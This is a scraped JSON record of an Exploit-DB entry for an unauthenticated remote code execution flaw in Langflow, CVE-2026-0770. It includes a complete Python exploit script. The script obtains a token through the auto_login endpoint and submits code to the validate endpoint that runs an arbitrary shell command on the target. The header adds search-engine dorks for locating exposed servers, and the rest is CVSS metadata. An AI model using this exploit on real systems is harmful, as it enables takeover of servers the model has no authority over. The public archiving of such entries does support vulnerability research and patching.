{“lastseen”:”2026-05-29T11:29:17″,”description”:”Exploit Title: Langflow 1.3.0 – Remote Code Execution Fofa-dork: title=\\”Langflow\\” Shodan-dork: title:\\”Langflow\\” Date: 23-05-2026 Exploit Author: Diamorphine Venodor Homepage: https:\/\/www.langflow.org\/ Software Link:…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”exploitdb”,”title”:”Langflow 1.3.0 – Remote Code Execution”,”source”:””,”references”:””,”id”:”EDB-ID:52597″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-0770″],”sourceData”:”# Exploit Title: Langflow 1.3.0 – Remote Code Execution \\r\\n# Fofa-dork: title=\\”Langflow\\”\\r\\n# Shodan-dork: title:\\”Langflow\\”\\r\\n# Date: 23-05-2026\\r\\n# Exploit Author: Diamorphine\\r\\n# Venodor Homepage: https:\/\/www.langflow.org\/\\r\\n# Software Link: https:\/\/github.com\/langflow-ai\/langflow\\r\\n# Version: 1.2.0\\r\\n# Tested on: Debian\\r\\n# CVE : CVE-2026-0770\\r\\n# Description: Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.\\r\\n# Usage: CVE-2026-0770.py -u 127.0.0.1 [-l USERNAME] [-p PASSWORD] [-c COMMAND] \\r\\n\\r\\n\\r\\nimport httpx\\r\\nimport asyncio\\r\\nimport subprocess\\r\\nimport json\\r\\nimport sys\\r\\nimport argparse\\r\\n\\r\\n\\r\\ndef auth(host, username, password):\\r\\n with httpx.Client(verify=False) as client:\\r\\n data = {\\r\\n ‘username’: username,\\r\\n ‘password’: password\\r\\n }\\r\\n r = client.post(url=f’http:\/\/{host}:7860\/api\/v1\/login’, data=data)\\r\\n res = r.json()\\r\\n access_token = res[\\”access_token\\”]\\r\\n\\r\\n return access_token\\r\\n\\r\\nasync def exec_auth(host, username, password, cmd):\\r\\n async with httpx.AsyncClient(verify=False) as client:\\r\\n headers = {\\r\\n ‘Authorization’: f’Bearare {auth(host, username, password)}’ \\r\\n }\\r\\n \\r\\n data = {\\r\\n \\”code\\”:\\”\\\\ndef exploit(\\\\n _=( lambda r: (_ for _ in ()).throw(Exception(f\\\\\\”{r.stdout}{r.stderr}\\\\\\”)) )(\\\\n __import__(‘subprocess’).run(‘%s’, shell=True, capture_output=True, text=True)\\\\n )\\\\n):\\\\n pass\\\\n\\” % cmd\\r\\n } \\r\\n \\r\\n r = await client.post(url=f’http:\/\/{host}:7860\/api\/v1\/validate\/code’, headers=headers, json=data)\\r\\n r_out = r.text\\r\\n output = json.loads(r_out)\\r\\n value = output[‘function’]\\r\\n try:\\r\\n print(value[‘errors’][0])\\r\\n except IndexError:\\r\\n print(\\”Index out of range\\”)\\r\\n\\r\\nasync def exec_without_auth(host, cmd):\\r\\n async with httpx.AsyncClient(verify=False) as client:\\r\\n req = await client.get(url=f’http:\/\/{host}:7860\/api\/v1\/auto_login’)\\r\\n res = req.json()\\r\\n access_token = res[\\”access_token\\”]\\r\\n headers = {\\r\\n ‘Authorization’: f’Bearare {access_token}’\\r\\n }\\r\\n\\r\\n data = {\\r\\n \\”code\\”:\\”\\\\ndef exploit(\\\\n _=( lambda r: (_ for _ in ()).throw(Exception(f\\\\\\”{r.stdout}{r.stderr}\\\\\\”)) )(\\\\n __import__(‘subprocess’).run(‘%s’, shell=True, capture_output=True, text=True)\\\\n )\\\\n):\\\\n pass\\\\n\\” % cmd\\r\\n }\\r\\n\\r\\n r = await client.post(url=f’http:\/\/{host}:7860\/api\/v1\/validate\/code’, headers=headers, json=data)\\r\\n r_out = r.text\\r\\n output = json.loads(r_out)\\r\\n value = output[‘function’]\\r\\n try:\\r\\n print(value[‘errors’][0])\\r\\n except IndexError:\\r\\n print(\\”Index out of range\\”)\\r\\n\\r\\nparser = argparse.ArgumentParser(description=\\”Exploit for CVE-2026-0770 \u2013 Unauthenticated RCE in Langflow\\”)\\r\\nparser.add_argument(‘-u’, ‘–host’, required=True, help=\\”Target host, e.g 127.0.0.1\\”)\\r\\nparser.add_argument(‘-l’, ‘–login’, help=\\”Username for login, e.g user (If auto login not enabled)\\”)\\r\\nparser.add_argument(‘-p’, ‘–password’, help=\\”Password for login, e.g password (If auto login not enabled)\\”)\\r\\nparser.add_argument(‘-c’, ‘–command’, default=’id’, help=\\”Command for execute, e.g id, default: id\\”)\\r\\n\\r\\nargs = parser.parse_args()\\r\\n\\r\\nif args.login and args.password:\\r\\n asyncio.run(exec_auth(args.host, args.login, args.password, args.command))\\r\\nelse:\\r\\n asyncio.run(exec_without_auth(args.host, args.command))”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52597″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”baseScore”:9.8,”baseSeverity”:”CRITICAL”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”NONE”,”scope”:”UNCHANGED”,”confidentialityImpact”:”HIGH”,”integrityImpact”:”HIGH”,”availabilityImpact”:”HIGH”}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52597″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-29T11:29:17″,”description”:”Exploit Title: Langflow 1.3.0 – Remote Code Execution Fofa-dork: title=\\”Langflow\\” Shodan-dork: title:\\”Langflow\\” Date: 23-05-2026 Exploit Author: Diamorphine Venodor Homepage: https:\/\/www.langflow.org\/ Software Link:…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”exploitdb”,”title”:”Langflow 1.3.0 – Remote…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-58032","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n